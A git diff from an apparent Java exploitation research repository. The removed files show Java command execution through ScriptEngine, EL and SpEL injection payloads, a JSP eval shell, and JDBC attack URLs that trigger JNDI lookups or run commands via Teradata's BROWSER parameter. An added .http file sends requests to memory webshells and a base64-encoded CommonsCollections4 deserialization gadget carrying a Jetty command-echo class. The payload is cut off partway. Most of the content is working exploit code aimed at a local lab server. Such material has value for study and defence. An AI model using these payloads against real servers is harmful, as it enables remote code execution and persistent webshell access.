diff --git a/Command/src/main/java/org/command/code/ScriptEngineDemo.java b/Command/src/main/java/org/command/code/ScriptEngineDemo.java deleted file mode 100644 index 1566263..0000000 --- a/Command/src/main/java/org/command/code/ScriptEngineDemo.java +++ /dev/null @@ -1,84 +0,0 @@ -package org.command.code; - -import org.command.resultGet.ExecResultGet; - -import javax.script.ScriptEngine; -import javax.script.ScriptEngineFactory; -import javax.script.ScriptEngineManager; -import java.io.InputStream; -import java.util.List; - -/** - * @author Whoopsunix - */ -public class ScriptEngineDemo { - public static InputStream exec(String cmd) throws Exception { - InputStream inputStream = null; - - ScriptEngineManager manager = new ScriptEngineManager(); - ScriptEngine engine = manager.getEngineByName("js"); - - // 也可以直接全部写到js里 - // runtime -// engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime(); " + -// "var process = runtime.exec(\"" + cmd + "\"); " + -// "var inputStream = process.getInputStream(); " + -// "var inputStreamReader = new java.io.InputStreamReader(inputStream); " + -// "var bufferedReader = new java.io.BufferedReader(inputStreamReader); " + -// "var line; " + -// "while ((line = bufferedReader.readLine()) != null) { " + -// " print(line); " + -// "}"); - // 直接返回对象 -// Object obj = engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime();" + -// "var process = runtime.exec(\"hostname\");" + -// "var inputStream = process.getInputStream();" + -// "var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");" + -// "var result = scanner.hasNext() ? scanner.next() : \"\";" + -// "scanner.close();" + -// "result;"); -// System.out.println(obj.toString()); - - - engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime(); " + - "var process = runtime.exec(\"" + cmd + "\"); " + - "var inputStream = process.getInputStream(); "); - // 获取对象 - inputStream = (InputStream) engine.eval("inputStream;"); - - - - return inputStream; - } - - public static void main(String[] args) throws Exception { -// InputStream inputStream = exec("ifconfig -a"); -// ExecResultGet execResultGet = new ExecResultGet(); -// System.out.println(execResultGet.scanner(inputStream)); - printScriptEngineManagerFactories(); - } - - /** - * 获取引擎信息 - */ - public static void printScriptEngineManagerFactories() { - ScriptEngineManager manager = new ScriptEngineManager(); - List factories = manager.getEngineFactories(); - for (ScriptEngineFactory factory: factories){ - System.out.printf( - "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" + - "Language version: %s%n" + - "Extensions: %s%n" + - "Mime types: %s%n" + - "Names: %s%n", - factory.getEngineName(), - factory.getEngineVersion(), - factory.getLanguageName(), - factory.getLanguageVersion(), - factory.getExtensions(), - factory.getMimeTypes(), - factory.getNames() - ); - } - } -} diff --git a/Command/src/main/java/org/command/exec/jni/Calc.class b/Command/src/main/java/org/command/exec/jni/Calc.class deleted file mode 100644 index cdcdf6a..0000000 Binary files a/Command/src/main/java/org/command/exec/jni/Calc.class and /dev/null differ diff --git a/Command/src/main/java/org/command/exec/jni/README.md b/Command/src/main/java/org/command/exec/jni/README.md deleted file mode 100644 index 3e43985..0000000 --- a/Command/src/main/java/org/command/exec/jni/README.md +++ /dev/null @@ -1,20 +0,0 @@ -复现流程 m1 - -1. 生成 .class 和 .h 文件 - arch -x86_64 javac -cp . Calc.java -h com/whoopsunix/vul/exec/jni/ -2. 编译 - -``` -// mac编译 -g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib org_command_exec_jni_Calc.cpp -// m1 -g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib org_command_exec_jni_Calc.cpp - -// linux -g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so org_command_exec_jni_Calc.cpp - -// windows -x86_64-w64-mingw32-g++ -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll org_command_exec_jni_Calc.cpp -``` - - diff --git a/Expression/ELAttack/src/main/webapp/el.jsp b/Expression/ELAttack/src/main/webapp/el.jsp deleted file mode 100644 index 626212c..0000000 --- a/Expression/ELAttack/src/main/webapp/el.jsp +++ /dev/null @@ -1,24 +0,0 @@ -<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8" %> -

EL 写法

- -

反射构造Runtime

-${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")} -

反射构造Runtime - 外界参数

-${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),pageContext.request.getParameter("cmd"))} - -

命令执行回显 Ref: https://forum.butian.net/share/886

-${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("ifconfig").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")} - -

JS引擎

-${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('whoami')")} -

JS引擎 - 回显

-${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec(\"hostname\");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");var result = scanner.hasNext() ? scanner.next() : \"\";scanner.close();result;")} - -

蚁剑

-<%out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));%> - -

web路径

-${pageContext.servletContext.getResource("")} - -

环境变量

-${applicationScope} \ No newline at end of file diff --git a/Expression/SPELAttack/src/main/java/com/example/spelattack/SPEL.java b/Expression/SPELAttack/src/main/java/com/example/spelattack/SPEL.java deleted file mode 100644 index ea26782..0000000 --- a/Expression/SPELAttack/src/main/java/com/example/spelattack/SPEL.java +++ /dev/null @@ -1,78 +0,0 @@ -package com.example.spelattack; - -import org.springframework.context.expression.MethodBasedEvaluationContext; -import org.springframework.expression.EvaluationContext; -import org.springframework.expression.Expression; -import org.springframework.expression.spel.standard.SpelExpressionParser; -import org.springframework.expression.spel.support.SimpleEvaluationContext; -import org.springframework.expression.spel.support.StandardEvaluationContext; - -/** - * @author Whoopsunix - */ -public class SPEL { - public static void main(String[] args) { - /** - * 命令执行 - */ - // 无回显 - String runtime = "T(java.lang.Runtime).getRuntime().exec('open -a Calculator.app')"; - // 回显 - String runtimeEcho = "new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter(\"\\\\A\").next()"; - - /** - * 探测 - */ - String DNSLOG = "T(java.net.InetAddress).getByName('DNSLOG')"; - String HTTPLOG = "new java.net.URL('http://host').getContent()"; - String HTTPLOG2 = "new org.springframework.web.client.RestTemplate().headForHeaders('http://host')"; - // 延时 - String sleep = "T(java.lang.Thread).sleep(10000)"; - - /** - * todo 类加载 - */ - - - - Object obj = spel(runtime); - System.out.println(obj); - } - - public static Object spel(String payload) { - return new SpelExpressionParser().parseExpression(payload).getValue(); - } - - /** - * 默认也是用的 StandardEvaluationContext - */ - public static Object spelStandardEvaluationContext(String payload) { - EvaluationContext evaluationContext = new StandardEvaluationContext(); - return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext); - } - - public static Object spelMethodBasedEvaluationContext(String payload) { - - EvaluationContext evaluationContext = new MethodBasedEvaluationContext(new User(), null, null, null); - return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext); - } - - /** - * safe - */ - - /** - * SimpleEvaluationContext - */ - public static Object spelSimpleEvaluationContext(String payload) { - EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build(); - return new SpelExpressionParser().parseExpression(payload).getValue(evaluationContext); - } - - public static Object spelSafe(String payload) { - StandardEvaluationContext context = new StandardEvaluationContext(); - context.setVariable("payload", payload); - Expression expression = new SpelExpressionParser().parseExpression("#payload"); - return expression.getValue(context); - } -} diff --git a/Expression/SPELAttack/src/main/resources/application.yml b/Expression/SPELAttack/src/main/resources/application.yml deleted file mode 100644 index 8b13789..0000000 --- a/Expression/SPELAttack/src/main/resources/application.yml +++ /dev/null @@ -1 +0,0 @@ - diff --git a/JDBCAttack/src/main/java/ibm/JNDI.java b/JDBCAttack/src/main/java/ibm/JNDI.java deleted file mode 100644 index 72d9a42..0000000 --- a/JDBCAttack/src/main/java/ibm/JNDI.java +++ /dev/null @@ -1,20 +0,0 @@ -package ibm; - -import java.sql.DriverManager; - -/** - * JNDI - * - * version - * ALL [11.5.x, 11.1.x] - * - * @author Whoopsunix - */ -public class JNDI { - public static void main(String[] args) throws Exception{ - Class.forName("com.ibm.db2.jcc.DB2Driver"); - - String attackUrl = "jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=rmi://127.0.0.1:1099/vabnob;"; - DriverManager.getConnection(attackUrl); - } -} diff --git a/JDBCAttack/src/main/java/modeshape/JNDI.java b/JDBCAttack/src/main/java/modeshape/JNDI.java deleted file mode 100644 index 9b432f3..0000000 --- a/JDBCAttack/src/main/java/modeshape/JNDI.java +++ /dev/null @@ -1,14 +0,0 @@ -package modeshape; - -import java.sql.DriverManager; - -/** - * @author Whoopsunix - */ -public class JNDI { - public static void main(String[] args) throws Exception { - Class.forName("org.modeshape.jdbc.LocalJcrDriver"); - - DriverManager.getConnection("jdbc:jcr:jndi:rmi://127.0.0.1:1099/f64tsv"); - } -} diff --git a/JDBCAttack/src/main/java/teradata/RCE.java b/JDBCAttack/src/main/java/teradata/RCE.java deleted file mode 100644 index 177c65b..0000000 --- a/JDBCAttack/src/main/java/teradata/RCE.java +++ /dev/null @@ -1,12 +0,0 @@ -package teradata; - -import java.io.IOException; -import java.sql.DriverManager; -import java.sql.SQLException; - -public class RCE { - public static void main(String[] args) throws SQLException, IOException { - DriverManager.registerDriver(new com.teradata.jdbc.TeraDriver()); - DriverManager.getConnection("jdbc:teradata://127.0.0.1/DBS_PORT=10250,LOGMECH=BROWSER,BROWSER='open -a calculator',TYPE=DEFAULT,COP=OFF,TMODE=TERA,LOG=DEBUG"); - } -} diff --git a/JNDIAttack/src/main/java/client/VulRMIClient.java b/JNDIAttack/src/main/java/client/VulRMIClient.java deleted file mode 100644 index 12ebf1b..0000000 --- a/JNDIAttack/src/main/java/client/VulRMIClient.java +++ /dev/null @@ -1,21 +0,0 @@ -package client; - - -/** - * @author Whoopsunix - * - */ -public class VulRMIClient { - public static void main(String[] args) throws Exception { - // M1 Naming - String url = "rmi://192.168.66.143:1099/xxx"; - AttackRemoteInterface remoteObject = (AttackRemoteInterface) java.rmi.Naming.lookup(url); - System.out.println(remoteObject.sayHello()); - -// // M2 Registry -// Registry registry = LocateRegistry.getRegistry("192.168.66.143", 1099); -// AttackRemoteInterface remoteObject2 = (AttackRemoteInterface) registry.lookup("xxx"); -// System.out.println(remoteObject2.sayHello()); - - } -} diff --git a/JavaClass.http b/JavaClass.http new file mode 100644 index 0000000..fa3df8f --- /dev/null +++ b/JavaClass.http @@ -0,0 +1,74 @@ +### +# Exec Filter Servlet +POST /WhoopsunixShell HTTP/1.1 +Host: 127.0.0.1:8080 +Xoken: hostname +Content-Type: application/x-www-form-urlencoded + + +cmd=whoami + + +### +# Exec Listener +POST /base64 HTTP/1.1 +Host: 127.0.0.1:8080 +X-Token: hostname +Content-Type: application/x-www-form-urlencoded + + +cmd=whoami + + +### +# Memshell +POST /binary HTTP/1.1 +Host: 127.0.0.1:8080 +Xoken: hostname +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW + +------WebKitFormBoundary7MA4YWxkTrZu0gW +Content-Disposition: form-data; name="file"; filename="cc4.bin" +Content-Type: application/octet-stream + +< ./dev/result.bin +#< ./dev/TomcatExecutorThreadLoader.bin +#< ./dev/TomcatListenerThreadMS.bin +------WebKitFormBoundary7MA4YWxkTrZu0gW-- + + +### +POST /base64 HTTP/1.1 +Host: 127.0.0.1:8080 +#Xoken: hostname +Content-Type: application/x-www-form-urlencoded + + +cmd=whoami&base64Str=xxx + + +### +# RceEcho +POST /binary HTTP/1.1 +Host: 127.0.0.1:8080 +Xoken: hostname +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW + +------WebKitFormBoundary7MA4YWxkTrZu0gW +Content-Disposition: form-data; name="file"; filename="cc4.bin" +Content-Type: application/octet-stream + +#< dev/tomcatEcho.bin +< dev/JettyEcho.bin +------WebKitFormBoundary7MA4YWxkTrZu0gW-- + +### +POST /base64 HTTP/1.1 +Host: 127.0.0.1:8080 +#Xoken: hostname +Content-Type: application/x-www-form-urlencoded + +# jetty +#cmd=whoami&base64Str=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci%2F5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB%2BAAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo%2FpQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H%2BkhtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX%2BAYIVOACAAB4cAAAE4vK%2Frq%2BAAAANADuCgAWAIsKAIwAjQgAVAoAPQCOCABVBwBWCABLCgAWAI8KABMAkAgAkQoAFACSCACTCgAUAJQIAJUIAJYIAJcIAJgIAJkHAJoHAJsKABMAnAcAnQkAPQCeCgCHAJ8IAKAJAD0AoQoAPQCiCACjCACkCgA9AKUHAKYIAKcKAD0AqAoAaQCpCgATAKoKAGkAqwcArAoAEwCtCACuCgCvALAKABQAsQgAsggAswgAtAgAtQgAtgoAtwC4CgC3ALkKALoAuwoAPQC8BwC9CgAzAIsKAHwAvgoAFAC%2FCgAzAMAKADMAwQcAwgoAhwCrCADDCABuBwDEAQAGSEVBREVSAQASTGphdmEvbGFuZy9TdHJpbmc7AQAFUEFSQU0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAHY2hhbm5lbAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAVlbnRyeQEABXZhbHVlAQAHcmVxdWVzdAEACHJlc3BvbnNlAQAGaGVhZGVyAQAFcGFyYW0BAAZyZXN1bHQBAAZ3cml0ZXIBAAFpAQABSQEADHRocmVhZExvY2FscwEABXRhYmxlAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABHRoaXMBACRMb3JnL2V4YW1wbGUvamV0dHkvZ2FkZ2V0L0pldHR5RWNobzsBAA1TdGFja01hcFRhYmxlAQANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQADb2JqAQAJZmllbGROYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAKRXhjZXB0aW9ucwEACGdldEZpZWxkAQA%2BKExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAJleAEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo%2BOwcAxQEACVNpZ25hdHVyZQEAQShMamF2YS9sYW5nL0NsYXNzPCo%2BO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAA3N0cgEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07BwBvAQALZXhlY19yZXN1bHQBACkoTGphdmEvaW8vSW5wdXRTdHJlYW07KUxqYXZhL2xhbmcvU3RyaW5nOwEABWJ5dGVzAQACW0IBAANsZW4BAA1zdHJpbmdCdWlsZGVyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAdwcAxgEADGludm9rZU1ldGhvZAEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAKbWV0aG9kTmFtZQEACWFyZ3NDbGFzcwEAEltMamF2YS9sYW5nL0NsYXNzOwEABGFyZ3MBAAZvYmplY3QHAMcBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAA5KZXR0eUVjaG8uamF2YQwAQQBCBwDIDADJAMoMAFoAWwwAywDMDADNAM4BADNvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2ZXIubmlvLlNlbGVjdENoYW5uZWxDb25uZWN0b3IMAM8A0AEALG9yZy5lY2xpcHNlLmpldHR5LnNlcnZlci5Bc3luY0h0dHBDb25uZWN0aW9uDADRANIBAAhfcmVxdWVzdAEACV9yZXNwb25zZQEAJ29yZy5lY2xpcHNlLmpldHR5LnNlcnZlci5IdHRwQ29ubmVjdGlvbgEACF9jaGFubmVsAQAJZ2V0SGVhZGVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwA0wDUAQAQamF2YS9sYW5nL09iamVjdAwAPgA%2FDADVANYBAAxnZXRQYXJhbWV0ZXIMAEAAPwwAbABtAQAJZ2V0V3JpdGVyAQAHcHJpbnRsbgwAfQB%2BAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEADmdldFByaW50V3JpdGVyDABhAGIMANcA2AwA2QDaDADbANwBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAN0AzAEAB29zLm5hbWUHAN4MAN8AbQwA4ADOAQADd2luAQAHY21kLmV4ZQEAAi9jAQAHL2Jpbi9zaAEAAi1jBwDhDADiAOMMAGwA5AcA5QwA5gDnDAB0AHUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwA6ADpDABBAOoMAOsA7AwA7QDOAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAB1gtVG9rZW4BACJvcmcvZXhhbXBsZS9qZXR0eS9nYWRnZXQvSmV0dHlFY2hvAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAA1nZXRTdXBlcmNsYXNzAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAEcmVhZAEABShbQilJAQAHKFtCSUkpVgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEAPQAWAAAAAgAKAD4APwAAAAoAQAA%2FAAAABwABAEEAQgABAEMAAANVAAcADQAAAXUqtwABuAACEgO4AARMKxIFuAAEwAAGTQM%2BHSy%2BogFULB0yOgQZBMcABqcBQRkEEge4AAQ6BRkFxwAGpwEwAToGAToHGQW2AAi2AAkSCrYAC5oAExkFtgAItgAJEgy2AA2ZABgZBRIOuAAEOgYZBRIPuAAEOgenAC4ZBbYACLYACRIQtgANmQAeGQUSEbgABDoIGQgSDrgABDoGGQgSD7gABDoHGQfHAAanAMIZBrYACBISBL0AE1kDEhRTtgAVGQYEvQAWWQOyABdTtgAYwAAUOggZBrYACBIZBL0AE1kDEhRTtgAVGQYEvQAWWQOyABpTtgAYwAAUOgkBOgoZCMYADRkIuAAbOgqnAA8ZCcYAChkJuAAbOgoZB7YACBIcA70AE7YAFRkHA70AFrYAGDoLGQsSHQS9ABNZAxIUUwS9ABZZAxkKU7gAHlenAB86DBkFEiAEvQATWQMSFFMEvQAWWQMZClO4AB5XsYQDAaf%2BrKcABEyxAAMBMAFKAU0AHwAEAWkBcwAfAWoBcAFzAB8AAwBEAAAAngAnAAAAGAAEABoADQAbABcAHAAfAB0AJAAeACkAHwAsACAANQAhADoAIgA9ACQAQAAlAEMAKgBVACsAYwAsAGwALQB4AC4AiAAvAJEAMACaADEAowAzAKgANACrADYA0gA3APkAOQD8ADoBAQA7AQsAPAEQAD0BFwBAATAAQwFKAEYBTQBEAU8ARQFpAEgBagAcAXAATQFzAEsBdABOAEUAAACOAA4AkQASAEYARwAIAU8AGgBIAEkADAAkAUYASgBHAAQANQE1AEsARwAFAEABKgBMAEcABgBDAScATQBHAAcA0gCYAE4APwAIAPkAcQBPAD8ACQD8AG4AUAA%2FAAoBMAA6AFEARwALABkBVwBSAFMAAwANAWMAVABHAAEAFwFZAFUAVgACAAABdQBXAFgAAABZAAAAfgAP%2FwAZAAQHAD0HABYHAAYBAAD8ABIHABb8ABAHABb9ACUHABYHABYUKgf%2BAF8HABQHABQHABQL%2FwA1AAwHAD0HABYHAAYBBwAWBwAWBwAWBwAWBwAUBwAUBwAUBwAWAAEHAB8b%2FwAAAAQHAD0HABYHAAYBAAD4AAVCBwAfAAAJAFoAWwACAEMAAABRAAIAAwAAAA8qtgAIK7gAIU0sKrYAIrAAAAACAEQAAAAKAAIAAABRAAkAUgBFAAAAIAADAAAADwBcAEcAAAAAAA8AXQA%2FAAEACQAGAF4AXwACAGAAAAAEAAEAHwAJAGEAYgACAEMAAAC9AAIABAAAACMBTSortgAjTSwEtgAkpwAUTiq2ACbGAAwqtgAmK7gAIU0ssAABAAIADQAQACUABABEAAAAIgAIAAAAVgACAFgACABZAA0AXQAQAFoAEQBbABgAXAAhAF4ARQAAACoABAARABAAYwBkAAMAAAAjAGUAZgAAAAAAIwBdAD8AAQACACEAXgBfAAIAZwAAAAwAAQAAACMAZQBoAAAAWQAAABYAAv8AEAADBwATBwAUBwBpAAEHACUQAGoAAAACAGsACQBsAG0AAgBDAAAAsAAEAAMAAABJEie4ACi2ACkSKrYAC5kAGQa9ABRZAxIrU1kEEixTWQUqU0ynABYGvQAUWQMSLVNZBBIuU1kFKlNMuAAvK7YAMLYAMU0suAAysAAAAAMARAAAABYABQAAAGMAEABkACYAZgA5AGgARABpAEUAAAAqAAQAIwADAG4AbwABAAAASQBwAD8AAAA5ABAAbgBvAAEARAAFAHEAcgACAFkAAAAJAAIm%2FAASBwBzAGAAAAAEAAEAHwAJAHQAdQACAEMAAACrAAYABAAAADARBAC8CEy7ADNZtwA0TiortgA1WT0CnwAVLbsAFFkrAxy3ADa2ADdXp%2F%2FmLbYAOLAAAAADAEQAAAAWAAUAAABtAAYAbwAOAHAAGQBxACsAcwBFAAAAKgAEAAAAMABxAHIAAAAGACoAdgB3AAEAFQAbAHgAUwACAA4AIgB5AHoAAwBZAAAAHQAC%2FgAOBwB7AAcAM%2F8AHAAEBwB8BwB7AQcAMwAAAGAAAAAEAAEAHwAJAH0AfgACAEMAAADSAAMABgAAADAqtgAIKyy2ABU6BKcAEzoFKrYACLYAJisstgAVOgQZBAS2ADoZBCottgAYOgUZBbAAAQAAAAsADgA5AAMARAAAAB4ABwAAAHkACwB8AA4AegAQAHsAHgB9ACQAfgAtAH8ARQAAAFIACAALAAMAfwCAAAQAEAAOAEgAgQAFAAAAMABcAEcAAAAAADAAggA%2FAAEAAAAwAIMAhAACAAAAMACFAFYAAwAeABIAfwCAAAQALQADAIYARwAFAFkAAAAMAAJOBwA5%2FAAPBwCHAGAAAAAEAAEAHwAIAIgAQgABAEMAAAAnAAEAAAAAAAsSO7MAFxI8swAasQAAAAEARAAAAAoAAgAAABYABQAXAAEAiQAAAAIAinVxAH4AHwAAAdbK%2Frq%2BAAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJExvcmcvcHBwL3Rvb2xzL3Nlci9DQzRHZW5lcmF0b3IkRm9vOwEAClNvdXJjZUZpbGUBABFDQzRHZW5lcmF0b3IuamF2YQwACgALBwAaAQAib3JnL3BwcC90b29scy9zZXIvQ0M0R2VuZXJhdG